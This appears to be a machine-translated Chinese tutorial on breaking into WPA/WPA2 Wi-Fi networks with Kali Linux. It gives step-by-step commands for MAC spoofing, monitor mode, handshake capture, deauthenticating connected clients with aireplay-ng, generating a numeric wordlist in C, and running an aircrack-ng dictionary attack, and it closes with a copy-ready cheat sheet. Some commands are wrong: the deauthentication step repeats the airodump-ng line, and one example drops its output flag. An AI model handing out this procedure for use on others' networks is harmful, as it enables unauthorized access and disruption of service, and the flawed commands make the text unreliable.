个性化阅读
专注于IT技术分析

如何使用Kali Linux通过字典攻击来入侵Wi-Fi网络(WPA/WPA2)

本文概述

法律免责声明

本网站上的信息旨在用于法律和道德目的, 例如研究, 教育, 新闻和教育公众。我们的意图是遵守所有适用法律。

在本教程中, 你将学习如何在Kali Linux中使用Aircrack对Wi-Fi网络执行非常简单的字典攻击。

什么是字典攻击

词典攻击是一种方法, 该方法包括通过系统性地将词典中的每个单词输入为密码来闯入受密码保护的计算机或服务器(在本例中为Wi-Fi网络)。

本教程是什么, 什么不是

如果你一直在寻找免费的Wi-Fi, 那你一生都不会拥有它。这只是一个具有教育意义的教程, 它显示了如何使用Kali Linux和Aircrack轻松地对普通Wi-Fi网络执行字典攻击。你需要知道基于字典的攻击需要一个好的字典, 否则这种攻击通常是无效的, 因为并非每个人都只使用数字作为密码, 而这恰恰是本文的目标之一:你可以警告客户, 朋友等。 Wi-Fi密码确实很薄弱和可耻。

要求

  • 你显然需要安装并运行Kali Linux(至少是2016.2)。
  • 能够注入/监视模式的无线适配器。某些计算机出厂时具有支持此功能的网卡。如果无法使用, 则必须购买一个外部设备。
  • 一个单词列表, 尝试在捕获到密码后尝试”破解”该密码(如果你没有密码列表, 请在步骤7中创建自己的密码)

让我们开始吧 !

1.验证你的Wi-Fi网络接口

第一步, 你需要检查计算机中是否有可用的Wi-Fi卡, 可以继续进行黑客攻击, 并使用ifconfig命令列出接口。 ifconfig用于配置或查看网络接口的配置。打开一个新终端并执行以下命令以列出计算机的所有网络接口:

ifconfig

然后, 你应该获得类似于以下内容的输出:

Ifconfig Kali Linux网络接口

wlan0是系统上第一个无线网络接口的名称。其他无线接口将被命名为wlan1, wlan2等。该名称很重要, 你应该记住它, 在这种情况下, 我们只有1个Wi-Fi接口, 因此下一步将使用wlan0名称。

2.欺骗wlan接口的MAC地址

现在, 你需要更改Wi-Fi接口的MAC地址以继续进行黑客攻击, 但是如果该接口(显然)处于活动状态, 则需要关闭该接口。使用命令ifconfig [interface name] down关闭接口。在这种情况下, 由于我们的接口名称为wlan0, 要执行的命令为:

ifconfig wlan0 down

接口关闭后, 你需要使用macchanger更改设备的MAC地址。

执行以下命令来更改接口的MAC地址:

macchanger -m 00:11:22:33:44:55 wlan0

此MAC地址被称为一直被欺骗。执行该命令后, 将打印以前的MAC地址和新的MAC地址作为参考:

更改macaddress Kali Linux

现在, MAC地址已更改, 请使用以下命令再次打开接口:

ifconfig wlan0 up

如果需要, 可以再次使用ifconfig验证一次:

如何使用Kali Linux通过字典攻击来入侵Wi-Fi网络(WPA / WPA2)1

现在, MAC地址已被欺骗。

3.将Wi-Fi接口设置为监控模式

监控器模式是802.11无线卡可以操作的七个模式之一:主控(充当接入点), 受管(客户端, 也称为站), Ad hoc, 网状, 中继器, 混杂和监控器模式。监视模式在不与任何接入点连接(关联)的情况下在空中嗅探数据包。由于此模式不需要与所需的AP关联(也不需要身份验证)。

使用以下命令启用监视模式:

airmon-ng start wlan0

万一遇到异常, 警告或消息, 某些进程可能在执行过程中引起麻烦, 请务必使用以下命令停止这些进程:

airmon-ng check kill

然后再次执行airmon-ng start wlan0:

如何使用Kali Linux通过字典攻击来入侵Wi-Fi网络(WPA / WPA2)2

现在, 需要从上一条命令生成的”表”中以监视方式复制接口的名称, 在这种情况下, 该名称为wlan0mon。需要访问该接口的其余命令将使用此名称。

4.检索WPA握手

我们需要复制Wi-Fi路由器的WPA握手以对其进行破解(因为字典攻击会一直等到信号到达路由器, 然后再返回, 失败并一次又一次地重复此过程, 这是非常无效的。) 。握手基本上是两个实体(通常是你的计算机和要连接的网络服务器)之间进行自动协商的过程。该过程用于设置使通信通道平稳运行所需的配置和参数, 而无需手动输入规格, 并且每次将异构系统或机器连接在一起时都不需要手动输入。

首先, 你需要转储环境中所有可用的Wi-Fi信号。为此, 我们将使用airodump-ng, 它将监视模式下的接口名称作为第一个参数。执行以下命令以转储Wi-Fi网络:

airodump-ng wlan0mon

此命令将转储具有所有可用Wi-Fi网络的表, 类似于:

#|BSSID             |PWR |Beacons | #Data | #/s |CH |MB   |ENC  |CIPHER |AUTH  | ESSID            |
#|C8:0E:14:03:B0:EA |-34 |38      | 0     | 0   |1  |54e. |WPA2 |CCMP   |PSK   | The network name |

在此表中, 你应该在记事本中复制有关你要黑客入侵的网络的信息(该行), 因为稍后你将需要此信息(channel-CH和BSSID)。

现在, 让我们复制带有airodump的WPA握手。以下命令:

airodump-ng -c [channel] --bssid [BSSID] -w [path/to/folder/output] [interface-name-in-monitor-mode]

将复制你要提供所需参数的调制解调器的WPA握手。可以使用airodump-ng wlan0mon从先前获得的channel和BSSID参数中检索。 w参数必须是你要在其中保存调制解调器握手的文件夹的路径, 最后是处于监视方式的接口名称(wlan0mon)。因此, 我们要执行的命令如下所示:

airodump-ng -c [channel] --bssid C8:0E:14:03:B0:EA /root/hacking/ wlan0mon

我们将文件保存到/ root / hacking中(此文件夹需要预先创建), 你可以自由地将其保存在任意位置, 只要你以后记得该路径即可。此过程可能需要几分钟, 在我们的情况下仅需4分钟, 但这在每个网络和设备中可能会有所不同:

小费

要加快获取WPA Hanshake的过程, 可以使用连接到Wi-Fi网络的移动设备或其他计算机。只需关闭设备中的Wi-Fi, 然后再将其打开, 这将加快过程。

如何使用Kali Linux通过字典攻击来入侵Wi-Fi网络(WPA / WPA2)3

一旦进程显示WPA hanshake, 启动字典攻击所需的文件。如示例命令中的Providen所示, 生成的文件应存储在/ root / hacking /中:

如何使用Kali Linux通过字典攻击来入侵Wi-Fi网络(WPA / WPA2)4

文件的数量可能会在你的计算机中有所不同。

5.使用aireplay取消验证

要捕获WPA / WPA2握手, 我们需要强制客户端重新进行身份验证。这可以通过aireplay来实现, 此攻击将不相关的数据包发送到当前与特定访问点关联的一个或多个客户端。

要做的命令是:

aireplay-ng -0 [number-of-packages] -a [BSSID] [interface-name-in-monitor-mode]

对于这种攻击, 建议的软件包数量为10(你还需要提供调制解调器的BSSID和监视器接口的名称)。要执行的命令应如下所示:

airodump-ng -c [channel] --bssid C8:0E:14:03:B0:EA /root/hacking/ wlan0mon

那应该生成以下输出(请注意, 在图像中, BSSID错误, 应该是C8:0E:14:03:B0:EA):

如何使用Kali Linux通过字典攻击来入侵Wi-Fi网络(WPA / WPA2)5

6.创建(或使用)密码字典

在进行攻击之前, 你需要密码字典。该词典基本上是一个文本文件(filename.txt), 其中包含aircrack用来访问网络的单词, 因此基本上, 以下文本是密码词典(每个密码都用新行分隔):

hello
possible_password1
possible_password2
hello123
ourcodeworld_password123
dummypassword321

出于教育目的, 由于这里是学习代码的地方, 因此我们将编写一些C代码。在工作空间(本例中为/ root / hacking)中创建一个新文件, 名称为passwords_generator和扩展名c(passwords_generator.c)。该文件将包含以下C代码, 该代码生成从00000000到00009999的数字序列(每行一个数字):

重要

数字越大, 尝试的组合越多, 因此需要更多的时间进行测试。

#include<stdio.h>

int main()
{
    int i;
    for (i = 0; i<= 9999;i++){
        printf("%08d\n", i);
    }
    return 0;
}

这应该生成如下输出:

00000001
00000002
00000003
00000004
...
00009999

你只需要将先前的输出保存到一个文件中即可用作我们的攻击的字典。执行以下命令以将其保存到passwords.txt文件中(请注意, 路径由你决定, 我们仍然使用/ root / hacking):

注意

gcc是基于* nix的C编译器, 通常通过命令行运行, 默认情况下在Kali Linux中可用

# 1. Compile and send output
gcc /root/hacking/passwords_generator.c

# 2. Save output to file
./a.out >> /root/hacking/passwords.txt

诀窍是, 在此”密码字典”中, 将尝试9999种可能的组合。显然, 如果网络具有安全密码, 则任何生成的”数字密码”均不起作用, 因此, 如果你仅进行测试, 则可以添加Wi-Fi网络的密码以在下一步进行测试。

你的字典只是一个文本文件, 其中的每一行都是aircrack稍后将尝试访问网络的可能密码, 为了测试aircrack是否确实有效, 你只需使用Wi-pass的密码创建passwords.txt文件即可Fi网络内部以及下一步, 则应授予对网络的访问权限(我们也将编写自己的密码以证明其有效)。

你显然可以使用”密码数据库”来尝试不同的组合。如果你不想使用简单的数字, 请在Stack Exchange的安全论坛中查看此问题, 该论坛提供了许多使用密码字典入门的资源。

7.用Aircrack开始字典攻击

最后, 让我们使用以下命令开始字典攻击:

aircrack-ng -a2 -b [BSSID] -w [POSSIBLE_PASSWORDS_FILE.TXT] [PATH_TO_WPA_HANDSHAKE_FILES*.cap]

你需要提供BSSID, 然后提供w参数(使用所有尝试的密码指定txt文件), 然后提供在步骤5中检索握手时生成的.cap文件的路径。例如, 将值替换为示例, 命令应如下所示:

aircrack-ng -a2 -b C8:0E:14:03:B0:EA -w /root/hacking/passwords.txt /root/hacking/*.cap

该命令的执行应启动字典攻击, 并尝试使用字典中的每个密码访问网络。该过程的持续时间将根据词典中密码的数量而有所不同。

如果在词典中找到了密码(如果在由我们的C代码生成的词典中找到了密码, 那么这是一个非常糟糕的密码…), 则会出现KEY FOUND消息。

如何使用Kali Linux通过字典攻击来入侵Wi-Fi网络(WPA / WPA2)6

就这样, 你已经学习了如何使用Aircrack对Wi-Fi网络进行字典攻击!

总结

如果你已经按照本教程进行操作, 并且有一天会再次进行此操作, 则只需遵循本摘要即可指定要执行的命令。这样, 你不必遵循本教程的所有步骤, 就可以节省一些时间(理论上你已经知道它的工作原理和每个命令的作用):

# Execute dictionary attack to Wi-Fi Network
# 
# http://ourcodeworld.com/articles/read/407/how-to-hack-a-wi-fi-network-wpa-wpa2-through-a-dictionary-attack-with-kali-linux
# March - 2017


# List interfaces (sh)
ifconfig

# Disable interface to change the MAC address
ifconfig wlan0 down

# Spoof MAC address to 00:11:22:33:44:55
macchanger -m 00:11:22:33:44:55 wlan0

# Enable interface again :)
ifconfig wlan0 up

# Kill any services 
airmon-ng check kill

# Start interface in monitor mode
airmon-ng start wlan0

# Now from the previous step copy the name of the interface in monitor mode
# Example of output previous step: monitor mode vif enabled for [phy]wlan0 on [phy0]wlan0mon
# Name = wlan0mon

# Dump available Wi-Fi networks
airodump-ng wlan0mon

# The previous step should output a table like the following:

#|BSSID             |PWR |Beacons | #Data | #/s |CH |MB   |ENC  |CIPHER |AUTH  | ESSID            |
#|E0:98:61:47:BD:E2 |-34 |38      | 0     | 0   |1  |54e. |WPA2 |CCMP   |PSK   | The network name |

# You should copy this information as you will need the information of the network to execute some
# commands that require those values as arguments

# Copy WPA handshake with the following command
airodump-ng -c [channel] --bssid [BSSID] -w [path/to/folder/output] [interface-name-in-monitor-mode]
# Example: airodump-ng -c 1 --bssid E0:98:61:47:BD:E2 -w /root/hacking/ wlan0mon
# Note: this process can take a lot of time, so be patient
# Once the following message appears:
# WPA Handshake [BSSID OF THE DEVICE, EXAMPLE E0:98:61:47:BD:E2]
# You can proceed with the next step and stop the current command as it will still running
# The .cap files should be now in the [path/to/folder/output] 


# Inject frames to Ten authentication packages
# Recommend numberofpackages = 10
aireplay-ng -0 [number-of-packages] -a [BSSID] [interface-name-in-monitor-mode]
# Example: aireplay-ng -0 10 -a E0:98:61:47:BD:E2 wlan0mon

# Start dictionary attack using the WPA Handshake previously downloaded and 

aircrack-ng -a2 -b [BSSID] -w [path to dictionary] [path to .cap files of handshake]
# Example: aircrack-ng -a2 -b E0:98:61:47:BD:E2 -w /root/hacking/passwords.txt /root/hacking/*.cap

# That's all !

骇客骇客!

赞(0)
未经允许不得转载:srcmini » 如何使用Kali Linux通过字典攻击来入侵Wi-Fi网络(WPA/WPA2)
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!